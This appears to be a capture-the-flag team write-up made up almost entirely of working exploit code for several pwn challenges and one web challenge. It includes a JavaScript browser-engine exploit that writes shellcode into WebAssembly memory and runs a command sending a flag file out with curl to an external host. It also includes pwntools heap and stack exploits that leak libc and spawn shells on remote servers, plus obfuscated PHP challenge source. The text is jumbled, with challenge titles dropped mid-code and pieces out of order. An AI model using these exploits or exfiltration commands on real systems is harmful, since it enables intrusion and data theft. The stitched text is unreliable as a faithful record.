function addrof(obj) {
l.oob(objarr_map);
kkk[101][0] = obj;
l.oob(double_map);
var result = kkk[101][0];
l.oob(objarr_map);
return Int64.fromDouble(result);
}
function fakeobj(addr) {
l.oob(double_map);
kkk[101][0] = addr;
l.oob(objarr_map);
return kkk[101][0];
}
// so we have the primitives here
// exploit comin' in hot!!!
var vvv = [];
for(var i = 0; i < 0x80; i++) {
var a = new Array(4);
vvv.push(a);
var x = new ArrayBuffer(10);
vvv.push(x);
}
var ab_map = vvv[100].oob();
console.log(ab_map);
var victim_ab = new ArrayBuffer(10);
var o = {a:0.0, b:0.0, c:0.0, d:0.0, e:0.0, f:0.0, h:0.0, i:0.0, j:0.0};
var addr_o = addrof(o);
var addr_victim = addrof(victim_ab);
o.b = ab_map;
o.e = (new Int64('0x1000')).asDouble();
o.f = Sub(addr_victim, Int64.One).asDouble();
var fake_addr = Add(addr_o, new Int64('0x20'));
var faked = fakeobj(fake_addr.asDouble());
var driver = new Uint8Array(faked);
driver.set([0, 0x10, 0, 0, 0, 0, 0, 0], 0x18); // length
babyshell
Status: Completed Tags: Pwn
var rw = {
set_addr: function(addr) {
driver.set(addr.bytes(), 0x20);
},
write: function(addr, bytes) {
this.set_addr(addr);
var memview = new Uint8Array(victim_ab);
memview.set(bytes);
},
read8: function(addr) {
this.set_addr(addr);
var memview = new Uint8Array(victim_ab);
return new Int64(memview.slice(0, 8));
},
};
// do it now!
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1,
0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97,
100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
var addr_f = addrof(f);
console.log(addr_f.toString());
var shared_func_info = rw.read8(Add(Sub(addr_f, new Int64(1)), new Int64(0x18)));
console.log(shared_func_info.toString());
var exported = rw.read8(Add(Sub(shared_func_info, new Int64(1)), new Int64(8)));
console.log(exported.toString());
var instance = rw.read8(Add(Sub(exported, new Int64(1)), new Int64(0x10)));
console.log(instance.toString());
var rwx_memory = rw.read8(Add(Sub(instance, new Int64(1)), new Int64(0x88)));
console.log(rwx_memory.toString());
var command = "/bin/bash -c '/get_flag > /tmp/hello; curl -F \"data=@/tmp/hello\"
http://shiki7.me:9999/'";
var cmd_buf = new ArrayBuffer(0x100);
var cmd_view = new Uint8Array(cmd_buf);
cmd_view.set(Array.from(command).map((c) => c.charCodeAt(0)));
var buf_addr = Sub(addrof(cmd_buf), Int64.One);
var cmd_addr = rw.read8(Add(buf_addr, new Int64(0x20)));
var shellcode = [].concat([0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90],
[72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184],
Array.from(cmd_addr.bytes()), [82,80,81,87,72,137,230,184,59,0,0,0,15,5]);
//alert('Pause!')
rw.write(rwx_memory, shellcode);
f();
//alert('Done!');
</script>
</html>
girlfriend
Status: Completed Tags: Pwn
from pwn import *
context.arch = 'amd64'
# p = process('./shellcode')
p = remote('34.92.37.22', 10002)
•def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
shellcode = '\x79\x0f\x00' # jmp
shellcode += '\x90' * 50 + asm(shellcraft.amd64.sh())
# launch_gdb()
p.send(shellcode)
p.interactive()
from pwn import *
#p=process('./chall',env = {'LD_PRELOAD':'./libc.so.6'})
p=remote('34.92.96.238',10001)
libc = ELF('./libc.so.6')
def add(size,name,phone):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('name')
p.sendline(str(size)
p.recvuntil('name')
p.send(name)
p.recvuntil('call')
p.send(phone)
def dele(idx):
p.recvuntil('choice')
p.sendline('4')
p.recvuntil('index')
p.sendline(str(idx))
add(0x500,'aaa','111')
add(0x500,'bbb','222')
dele(0)
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('name:\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(addr)
raw_input()
libc_base = addr - (0x7fd7cae71ca0-0x7fd7caac0000)
malloc_hook = libc.symbols['__free_hook']+libc_base
system = libc.symbols['system']+libc_base
print hex(malloc_hook)
info("libc:0x%x",libc_base)
for i in range(7):
add(0x60,'xxx','111')#2,3,4,5,6 7 8
add(0x60,'yyy','222')#9
add(0x60,'zzz','333')#10
for i in range(2,9):
dele(i)
dele(9)
dele(10)
dele(9)
quicksort
Status: Completed Tags: Pwn
upxofcpp
Status: Completed Tags: Pwn
for i in range(7):
add(0x60,'xxx','111')#11,12,13,14,15 16 17
raw_input()
add(0x60,p64(malloc_hook),'111')#18
add(0x60,p64(malloc_hook),'111')#19
add(0x60,"/bin/sh\x00",'111')#20
add(0x60,p64(system),'22')#21
dele(20)
#add(0x60,p64(malloc_hook-0x20-3),'111')
p.interactive()
from pwn import *
#p = process('./quicksort')
libc = ELF("./libc.so.6")
p = remote('34.92.96.238',10000)
p.recvuntil('sort')
p.sendline('1')
p.recvuntil('number')
p.sendline(str(0x8048816).ljust(12,'\x00')+p32(1)*2+p32(0)*2+p32(0x804a018))
# n i
#change free to main
p.recvuntil('sort')
p.sendline('1')
p.recvuntil('number')
p.sendline(str(0x8048816).ljust(12,'\x00')+p32(1)*2+p32(1)*2+p32(0x804a02c))
p.recvuntil(':\n')
addr = int(p.recvuntil('\n')[:-1])&0xffffffff
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
system = libc_base+libc.symbols['system']
print hex(system)
sh = libc_base +next(libc.search("/bin/sh"),)
p.recvuntil('sort')
p.sendline('1')
p.recvuntil('number')
addr = 0x100000000-system
addr = 0-addr
print addr
print hex(addr&0xffffffff)
p.sendline(str(addr).ljust(12,'\x00')+p32(1)*2+p32(0)*2+p32(0x804a038))
p.recvuntil('sort')
p.sendline('1')
p.recvuntil('number')
p.sendline('/bin/sh')
p.interactive()
from pwn import *
import re
#p = process('./upxofcpp')
blind pwn
Status: Completed Tags: Pwn
p = remote('34.92.121.149', 10000)
context(arch='amd64',os='linux')
sh = asm(shellcraft.sh())
print len(sh)
def split_s(text,lenth):
textArr = re.findall('.{'+str(lenth)+'}', text)
textArr.append(text[(len(textArr)*lenth):])
return textArr
def add(idx,size,content):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('Index')
p.sendline(str(idx))
p.recvuntil('Size')
p.sendline(str(size))
l = split_s(content,4)
if len(content) == 0:
p.sendline('-1')
return
for i in l:
num = u32(i.ljust(4,'\x00'))
if num >=0x80000000:
num = 0x100000000-num
num = -num
p.sendline(str(num))
if (len(l)<size):
p.sendline('-1')
def dele(idx):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(idx))
add(0,0x18/4,'1')
add(1,0x18/4,'2')
dele(0)
dele(1)
•add(2,0x60/4,'3')
add(4,0x18/4,'')
add(5,0x18/4,'')
dele(5)
dele(2)
add(6,0x18/4,'')
add(10,0x21,'')
add(11,0x21,'')
•dele(10)
•dele(11)
pay = 'a'*(0x60)+sh
#print split_s(pay,4)
add(8,0x110/4,pay)
p.sendline('4')
p.sendline('0')
p.interactive()
Web
Echohub
Status: Completed Tags: Web
from pwn import *
p = remote('34.92.37.22', 10000)
libc = ELF('./libc-2.23.so')
padding = 40*'a'
p.sendline(padding+p64(0x400515)+p64(0x4006ce))
p.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
p.recv(32)
addr = p.recv(6)
addr = u64(addr.ljust(8,'\x00'))
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
print hex(libc_base)
one = libc_base+0xf1147
p.sendline('\x00'*40+p64(one)+'\x00'*200)
p.interactive()
<?php
$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .-
---------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. ||
.--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || |
_____ _____ | || | ______ | |
| | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | ||
||_ _||_ _|| || | |_ _ \ | |
| | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || |
| | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || |
| ' ' | | || | | __'. | |
| | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || |
\ `--' / | || | _| |__) | | |
| | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || |
`.__.' | || | |_______/ | |
| | | || | | || | | || | | || | | || |
| || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' ||
'--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '-
---------------' '----------------'
Welcome to random stack ! Try to execute `/readflag` :P
</pre>
<form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo
"RlJPTSB1YnVudHU6MTguMDQKClJVTiBzZWQgLWkgInMvaHR0cDpcL1wvYXJjaGl2ZS51YnVudHUuY29tL2h0dHA6XC9cL21pcnJvcnMudX
N0Yy5lZHUuY24vZyIgL2V0Yy9hcHQvc291cmNlcy5saXN0ClJVTiBhcHQtZ2V0IHVwZGF0ZQpSVU4gYXB0LWdldCAteSBpbnN0YWxsIHNvZ
nR3YXJlLXByb3BlcnRpZXMtY29tbW9uClJVTiBhZGQtYXB0LXJlcG9zaXRvcnkgLXkgcHBhOm9uZHJlai9waHAKUlVOIGFwdC1nZXQgdXBk
YXRlClJVTiBhcHQtZ2V0IC15IHVwZ3JhZGUKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB0emRhdGEKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB
2aW0KUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCBhcGFjaGUyClJVTiBhcHQtY2FjaGUgc2VhcmNoICJwaHAiIHwgZ3JlcCAicGhwNy4zInwgYX
drICd7cHJpbnQgJDF9J3wgeGFyZ3MgYXB0LWdldCAteSBpbnN0YWxsClJVTiBzZXJ2aWNlIC0tc3RhdHVzLWFsbCB8IGF3ayAne3ByaW50I
CQ0fSd8IHhhcmdzIC1pIHNlcnZpY2Uge30gc3RvcAoKUlVOIHJtIC92YXIvd3d3L2h0bWwvaW5kZXguaHRtbApDT1BZIHJhbmRvbXN0YWNr
LnBocCAvdmFyL3d3dy9odG1sL2luZGV4LnBocApDT1BZIHNhbmRib3gucGhwIC92YXIvd3d3L2h0bWwvc2FuZGJveC5waHAKUlVOIGNobW9
kIDc1NSAtUiAvdmFyL3d3dy9odG1sLwpDT1BZIGZsYWcgL2ZsYWcKQ09QWSByZWFkZmxhZyAvcmVhZGZsYWcKUlVOIGNobW9kIDU1NSAvcm
VhZGZsYWcKUlVOIGNobW9kIHUrcyAvcmVhZGZsYWcKUlVOIGNobW9kIDUwMCAvZmxhZwpDT1BZIC4vcnVuLnNoIC9ydW4uc2gKQ09QWSAuL
3BocC5pbmkgL2V0Yy9waHAvNy4zL2FwYWNoZTIvcGhwLmluaQpSVU4gY2htb2QgNzAwIC9ydW4uc2gKCkNNRCBbIi9ydW4uc2giXQ==";
highlight_file(__FILE__);
}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip")))
continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(',',get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";
}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false ||
stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}
ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");
FROM ubuntu:18.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y install software-properties-common
RUN add-apt-repository -y ppa:ondrej/php
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
RUN service --status-all | awk '{print $4}'| xargs -i service {} stop
RUN rm /var/www/html/index.html
COPY randomstack.php /var/www/html/index.php
COPY sandbox.php /var/www/html/sandbox.php
RUN chmod 755 -R /var/www/html/
COPY flag /flag
COPY readflag /readflag
RUN chmod 555 /readflag
RUN chmod u+s /readflag
RUN chmod 500 /flag
run.sh
COPY ./run.sh /run.sh
COPY ./php.ini /etc/php/7.3/apache2/php.ini
RUN chmod 700 /run.sh
CMD ["/run.sh"]
#!/bin/sh service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;
PD9waHAgLyogb3J6DQotLSBlbnBocCA6IGh0dHBzOi8vZ2l0Lm9zY2hpbmEubmV0L216L216cGhwMg0KICovIGVycm9yX3JlcG9ydGluZyh
FX0FMTF5FX05PVElDRSk7ZGVmaW5lKCdPMCcsICdPJyk79DskR0xPQkFMU1tPMF0gPSBleHBsb2RlKCd8AXwFfAEnLCBnemluZmxhdGUoc3
Vic3RyKCcfiwgAAAAAAAADdVLJUsMwDIUD/xFOwIFSys4wzLC07C1MuXsUV2lCHdvYThemH4+plaaU4kPmyfLTe5JiQfZiNa7pVE/XpxvTd
ZflGJA1PhdgD5NM0vVDu8s6rVa3+R7i6hXCmEBMxdCWICMAxsCEJeJ3PAIxoNgKQ/LOCJRzzKwWmatCDaS6Nr8zOAw4zmQjRTIDMff2+2n2
MRC5VPrTWFcMR+PJ19X1zW2zdXf/+PT80n59a3bf9xsHh0fHXCenZ4Ga+tYEsh44CBd9lIyDBDOhtvLZqdVqt0puuQicAz6Ictws58bnPnR
h06oSV4WkbvwTPvhV1nMavgear1IusjCx5xEVUnpp3ga5GqJZMIpjLVQPl4bPQYi5gvdWNuVmTJYYlTOD/cXN/LiuyKywXiYpJGez9KoMde
4LRmiMom126p1OvdyUnxExBVjLQGRgK9qivEUwnAz4XzSTiQrB7oqjCqcLtyqze7EXm8vZXCfQw9NKrcr/5ZLu9s4/ZcsduG+Cc53ZTAMAA
CcsMHgwYSwgLTgpKSk7kLrex8jgu4+qOwogcmVxdWlyZV9vbmNlICRHTE9CQUxTe08wfVswXTsKCgokc2VlZCA9ICRHTE9CQUxTe08wfXsw
eDAwMX0oKTsKJEdMT0JBTFN7TzB9WzB4MDAwMl0oJHNlZWQpOwokR0xPQkFMU3tPMH17MHgwMDAwM30oJEdMT0JBTFN7TzB9WzB4MDAwMDA
0XSwkR0xPQkFMU3tPMH17MHgwNX0oMHgwMDAwLDB4ZmZmZikpOwoKJHJlZ3MgPSBhcnJheSgKICAgICRHTE9CQUxTe08wfVsweDAwNl09Pj
B4MCwKICAgICRHTE9CQUxTe08wfXsweDAwMDd9PT4weDAsCiAgICAkR0xPQkFMU3tPMH1bMHgwMDAwOF09PjB4MCwKICAgICRHTE9CQUxTe
08wfXsweDAwMDAwOX09PjB4MCwKKTsKCgpmdW5jdGlvbiBhc2xyKCYkTzAwLCRPME8pCnsKICAgICRPMDAgPSAkTzAwICsgMHg2MDAwMDAw
MCArIElOU19PRkZTRVQgKyAweDAwMSA7DQoKfQokZnVuY18gPSAkR0xPQkFMU3tPMH1bMHgwYV0oJGZ1bmMpOwokR0xPQkFMU3tPMH17MHg
wMGJ9KCRmdW5jXywkR0xPQkFMU3tPMH1bMHgwMDBjXSk7CiRwbHQgPSAkR0xPQkFMU3tPMH1bMHgwYV0oJGZ1bmNfKTsKCgpmdW5jdGlvbi
BoYW5kbGVfZGF0YSgkT09PKXskT08wTz0mJEdMT0JBTFN7TzB9OwogICAgJE8wMDAgPSAkT08wT3sweDAwMDBkfSgkT09PKTsNCgogICAgJ
E8wME8gPSAkTzAwMC8weDAwMDAwNCsoMHgwMDEqKCRPMDAwJTB4MDAwMDA0KSk7DQqQmJHKp5n71bDEqaaf4LmKsIjh+MTjksPwmvj7rdLD
iOrV0pLuz+iglZPGtDsKICAgICRPME8wID0gJE9PME9bMHgwMDAwMGVdKCRPT08sMHgwMDAwMDQpOw0KkKWJoZ/NOwogICAgJE8wTzBbJE8
wME8tMHgwMDFdID0gJE9PME97MHgwZn0oJE8wTzBbJE8wME8tMHgwMDFdLDB4MDAwMDA0LCRPTzBPWzB4MDAxMF0pOw0KCiAgICBmb3JlYW
NoICgkTzBPMCAgYXMgICRPME9PPT4mJE9PMDApewogICAgICAgICRPTzAwID0gJE9PME97MHgwMDAxMX0oJE9PME9bMHgwMDAwMTJdKCRPT
zAwKSk7DQoKICAgIH0KICAgIHJldHVybiAkTzBPMDsNCgp9CgpmdW5jdGlvbiBnZW5fY2FuYXJ5KCl7JE8wTzAwPSYkR0xPQkFMU3tPMH07
CiAgICAkT09PTyA9ICRPME8wMHsweDAwMDAwMTN9Ow0KkPL63baEyTsKICAgICRPMDAwMCA9ICRPT09PWyRPME8wMHsweDA1fSgwLCRPME8
wMHsweDAwMDBkfSgkT09PTyktMHgwMDEpXTsNCgogICAgJE8wMDBPID0gJE9PT09bJE8wTzAwezB4MDV9KDAsJE8wTzAwezB4MDAwMGR9KC
RPT09PKS0weDAwMSldOw0KkKfFnbzY5PDN5bDz79KTvdjFz8+T28OPuvqThIjp34SSpqLO/ofAze3wwd3E1Jyem+vtrseyvYKt0Ye1vOe6z
o7cnY7k3dvSz52wOwogICAgJE8wME8wID0gJE9PT09bJE8wTzAwezB4MDV9KDAsJE8wTzAwezB4MDAwMGR9KCRPT09PKS0weDAwMSldOw0K
CiAgICAkTzAwT08gPSAkTzBPMDBbMHgwMDEwXTsNCpCOuaG9gtT7hILNjLiK8/LYgtD2kLbV64mlijsKICAgIHJldHVybiAkTzBPMDBbMHg
wMTRdKCRPMDAwMC4kTzAwME8uJE8wME8wLiRPMDBPTylbMF07DQoKfQokY2FuYXJ5ID0gJEdMT0JBTFN7TzB9ezB4MDAxNX0oKTsKJGNhbm
FyeWNoZWNrID0gJGNhbmFyeTsKCmZ1bmN0aW9uIGNoZWNrX2NhbmFyeSgpewogICAgZ2xvYmFsICRjYW5hcnk7DQoKICAgIGdsb2JhbCAkY
2FuYXJ5Y2hlY2s7DQqQjMCQysLkx8fnltOgoDsKICAgIGlmKCRjYW5hcnkgIT0gJGNhbmFyeWNoZWNrKXsKICAgICAgICBkaWUoJEdMT0JB
TFN7TzB9WzB4MDAwMTZdKTsKICAgIH0KCn0KCkNsYXNzIE8wT08wewogICAgcHJpdmF0ZSAgJGVicCwkc3RhY2ssJGVzcDsKCiAgICBwdWJ
saWMgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRPME9PTywkT08wMDApIHskT08wME89JiRHTE9CQUxTe08wfTsKICAgICAgICAkdGhpcy0+c3
RhY2sgPSBhcnJheSgpOw0KkMrl8dqcx8el7dLfqNDnl92op6jrjPCz9DsKICAgICAgICBnbG9iYWwgJHJlZ3M7DQoKICAgICAgICAkdGhpc
y0+ZWJwID0gJiRyZWdzWyRPTzAwT3sweDAwMDd9XTsNCgogICAgICAgICR0aGlzLT5lc3AgPSAmJHJlZ3NbJE9PMDBPWzB4MDAwMDhdXTsN
CgogICAgICAgICR0aGlzLT5lYnAgPSAweGZmZmUwMDAwICsgJE9PMDBPezB4MDV9KDB4MDAwMCwweGZmZmYpOw0KCiAgICAgICAgZ2xvYmF
sICRjYW5hcnk7DQqQm5GV9a3dvtPLkbP0OwogICAgICAgICR0aGlzLT5zdGFja1skdGhpcy0+ZWJwIC0gMHg0XSA9ICYkY2FuYXJ5Ow0KkM
DEtDsKICAgICAgICAkdGhpcy0+c3RhY2tbJHRoaXMtPmVicF0gPSAkdGhpcy0+ZWJwICsgJE9PMDBPezB4MDV9KDB4MDAwMCwweGZmZmYpO
w0KkNrktuHszIu99q7ZiMTPtqOPiu+gvuSDOwogICAgICAgICR0aGlzLT5lc3AgPSAkdGhpcy0+ZWJwIC0gKCRPTzAwT3sweDA1fSgweDIw
LDB4NjApKjB4MDAwMDA0KTsNCpCfpq3P54i1nuqj6/Xh4qW76+qMo46brf276+O/xtWD5vyxt+S57ISlkO+b8tPBrsCsOwogICAgICAgICR
0aGlzLT5zdGFja1skdGhpcy0+ZWJwICsgMHg0XSA9ICRPTzAwT3sweDAwMDAxN30oJE8wT09PKTsNCgogICAgICAgIGlmKCRPTzAwMCAhPS
BOVUxMKQogICAgICAgICAgICAkdGhpcy0+eyRHTE9CQUxTe08wfVsweDAwMDAwMThdfSgkT08wMDApOwogICAgfQoKICAgIHB1YmxpYyAgZ
nVuY3Rpb24gcHVzaGRhdGEoJE9PME8wKXskT09PMDA9JiRHTE9CQUxTe08wfTsKICAgICAgICAkT08wTzAgPSAkT09PMDBbMHgwMTRdKCRP
TzBPMCk7DQqQkrmS/p7SxvPVrfCI5NbC0tvn48uE1qDFhuDywMWul9foqteHOwogICAgICAgIGZvcigkT08wT089MDskT08wT088JE9PTzA
wezB4MDE5fSgkT08wTzApOyRPTzBPTysrKXsKICAgICAgICAgICAgJHRoaXMtPnN0YWNrWyR0aGlzLT5lc3ArKCRPTzBPTyoweDAwMDAwNC
ldID0gJE9PME8wWyRPTzBPT107DQqQ08zs27LEnoWghunsisCN0MbtxIiz8qCM28rj48eD3zsvL25vIGFyZ3MgaW4gbXkgc3RhY2sgaGFoY
QogICAgICAgICAgICAkT09PMDBbMHgwMDFhXSgpOw0KCiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyAgZnVuY3Rpb24gcmVjb3Zlcl9k
YXRhKCRPT08wTyl7JE9PT08wPSYkR0xPQkFMU3tPMH07CgogICAgICAgIHJldHVybiAkT09PTzB7MHgwMDAxYn0oJE9PT08wezB4MDAwMTF
9KCRPT08wTykpOw0KkIOSlYiznPGgp7Ot9/qcvITQsKTdje7C8LbF0NKWnsmZsd+i5PuVhqTJtJzF0NnJoortgJfdwomVidnnoPc7CgogIC
AgfQoKCiAgICBwdWJsaWMgIGZ1bmN0aW9uIG91dHB1dGRhdGEoKXskTzAwMDBPPSYkR0xPQkFMU3tPMH07CiAgICAgICAgZ2xvYmFsICRyZ
WdzOw0KCiAgICAgICAgZWNobyAkTzAwMDBPWzB4MDAwMDFjXTsNCgogICAgICAgIHdoaWxlKDB4MDAxKXsKICAgICAgICAgICAgaWYoJHRo
aXMtPmVzcCA9PSAkdGhpcy0+ZWJwLTB4NCkKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAkdGhpcy0+eyRHTE9CQUxTe08
wfXsweDAwMDAwMWR9fSgkTzAwMDBPWzB4MDFlXSk7DQoKICAgICAgICAgICAgJE9PT09PID0gJHRoaXMtPnskR0xPQkFMU3tPMH17MHgwMD
FmfX0oJHJlZ3NbJE8wMDAwT1sweDAxZV1dKTsNCgogICAgICAgICAgICAkTzAwMDAwID0gJE8wMDAwT1sweDAwMDIwXSgkTzAwMDBPWzB4M
DAxMF0sJE9PT09PKTsNCpDzlbM7CiAgICAgICAgICAgIGVjaG8gJE8wMDAwMFswXTsNCgogICAgICAgICAgICBpZigkTzAwMDBPezB4MDE5
fSgkTzAwMDAwKT4weDAwMSl7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBwdWJ
index.php
saWMgIGZ1bmN0aW9uIHJldCgpeyRPMDAwTzA9JiRHTE9CQUxTe08wfTsKCiAgICAgICAgJHRoaXMtPmVzcCA9ICR0aGlzLT5lYnA7DQqQmq
vNOwogICAgICAgICR0aGlzLT57JEdMT0JBTFN7TzB9ezB4MDAwMDAxZH19KCRPMDAwTzB7MHgwMDA3fSk7DQoKICAgICAgICAkdGhpcy0+e
yRHTE9CQUxTe08wfXsweDAwMDAwMWR9fSgkTzAwME8wezB4MDAwMDIxfSk7DQoKICAgICAgICAkdGhpcy0+eyRHTE9CQUxTe08wfVsweDAw
MDAwMjJdfSgpOw0KCiAgICB9CgogICAgcHVibGljICBmdW5jdGlvbiBnZXRfZGF0YV9mcm9tX3JlZygkTzAwME9PKXskTzAwT08wPSYkR0x
PQkFMU3tPMH07CiAgICAgICAgZ2xvYmFsICRyZWdzOw0KCiAgICAgICAgJE8wME8wMCA9ICR0aGlzLT57JEdMT0JBTFN7TzB9ezB4MDAxZn
19KCRyZWdzWyRPMDAwT09dKTsNCpDXOwogICAgICAgICRPMDBPME8gPSAkTzAwT08wWzB4MDAwMjBdKCRPMDBPTzBbMHgwMDEwXSwkTzAwT
zAwKTsNCgogICAgICAgIHJldHVybiAkTzAwTzBPWzBdOw0KCiAgICB9CgogICAgcHVibGljICBmdW5jdGlvbiBjYWxsKCkKICAgIHskTzBP
TzAwPSYkR0xPQkFMU3tPMH07CiAgICAgICAgZ2xvYmFsICRyZWdzOw0KCiAgICAgICAgZ2xvYmFsICRwbHQ7DQoKICAgICAgICAkTzAwT09
PID0gJE8wT08wMHsweDAyM30oJHJlZ3NbJE8wT08wMHsweDAwMDAwOX1dKTsNCgogICAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFskTzAwT0
9PXSkpIHsKICAgICAgICAgICAgJHRoaXMtPnskR0xPQkFMU3tPMH17MHgwMDAwMDFkfX0oJE8wT08wMFsweDAwNl0pOwogICAgICAgICAgI
CAkTzBPMDAwID0gKGludCkkdGhpcy0+eyRHTE9CQUxTe08wfVsweDAwMjRdfSgkTzBPTzAwWzB4MDFlXSk7CiAgICAgICAgICAgICRPME8w
ME8gPSBhcnJheSgpOwogICAgICAgICAgICBmb3IoJE8wTzBPMD0wOyRPME8wTzA8JE8wTzAwMDskTzBPME8wKyspewogICAgICAgICAgICA
gICAgJHRoaXMtPnskR0xPQkFMU3tPMH17MHgwMDAwMDFkfX0oJE8wT08wMFsweDAwNl0pOwogICAgICAgICAgICAgICAgJE8wTzBPTyA9IC
R0aGlzLT57JEdMT0JBTFN7TzB9WzB4MDAyNF19KCRPME9PMDBbMHgwMWVdKTsKICAgICAgICAgICAgICAgICRPME9PMDB7MHgwMDAyNX0oJ
E8wTzAwTywkX1JFUVVFU1RbJE8wTzBPT10pOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRPME9PMDBbMHgwMDAwMjZdKCRwbHRbJE8w
ME9PT10sJE8wTzAwTyk7CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkTzBPTzAwezB4MDAwMDAyN30oJHBsdFskTzA
wT09PXSk7CiAgICAgICAgfQoKICAgIH0KCiAgICBwdWJsaWMgIGZ1bmN0aW9uIHB1c2goJE8wT08wTyl7JE8wT09PTz0mJEdMT0JBTFN7Tz
B9OwogICAgICAgIGdsb2JhbCAkcmVnczsNCgogICAgICAgICRPME9PTzAgPSAkcmVnc1skTzBPTzBPXTsNCpDdxOLtufii9sLz+t2fyZvVh
9mlotv80uau65PYt/qtlsCRhPmKp/HNnO2ru7fGkr6ht+D8tLTjOwogICAgICAgIGlmKCAkTzBPT09PezB4MDAwMWJ9KCRPME9PT097MHgw
MDAxMX0oJE8wT09PMCkpID09IE5VTEwgKSBkaWUoJE8wT09PT1sweDAyOF0pOwogICAgICAgICR0aGlzLT5zdGFja1skdGhpcy0+ZXNwXSA
9ICRPME9PTzA7DQqQvdfy6+2z/PKtiJqg1baOgfLGyIaF6b7m5/Oby9i7xDsKICAgICAgICAkdGhpcy0+ZXNwIC09IDB4MDAwMDA0Ow0KCi
AgICB9CgogICAgcHVibGljICBmdW5jdGlvbiBwb3AoJE9PMDAwMCl7CiAgICAgICAgZ2xvYmFsICRyZWdzOw0KCiAgICAgICAgJHJlZ3NbJ
E9PMDAwMF0gPSAkdGhpcy0+c3RhY2tbJHRoaXMtPmVzcF07DQoKICAgICAgICAkdGhpcy0+ZXNwICs9IDB4MDAwMDA0Ow0KCgogICAgfQoK
ICAgIHB1YmxpYyAgZnVuY3Rpb24gX19jYWxsKCRPTzAwME8sJE9PMDBPMCkKICAgIHsKICAgICAgICAkR0xPQkFMU3tPMH1bMHgwMDFhXSg
pOw0KCiAgICB9Cgp9JEdMT0JBTFN7TzB9ezQzfSgkR0xPQkFMU3tPMH17MHgwMDI5fSwkR0xPQkFMU3tPMH1bMHgwMDAyYV0sMCk7cHJpbn
RfUigkR0xPQkFMU3tPMH17MHgwMDI5fSk7cHJpbnRfUigkR0xPQkFMU3tPMH1bMHgwMDAyYV0pOwoKaWYoaXNzZXQoJF9QT1NUWyRHTE9CQ
UxTe08wfVsweDAwMDAwMmNdXSkpIHsKICAgICAgICAkcGhwaW5mb19hZGRyID0gJEdMT0JBTFN7TzB9ezB4MDJkfSgkR0xPQkFMU3tPMH1b
MHgwMDJlXSwgJHBsdCk7CiAgICAgICAgJGdldHMgPSAkX1BPU1RbJEdMT0JBTFN7TzB9WzB4MDAwMDAyY11dOwogICAgICAgICRtYWluX3N
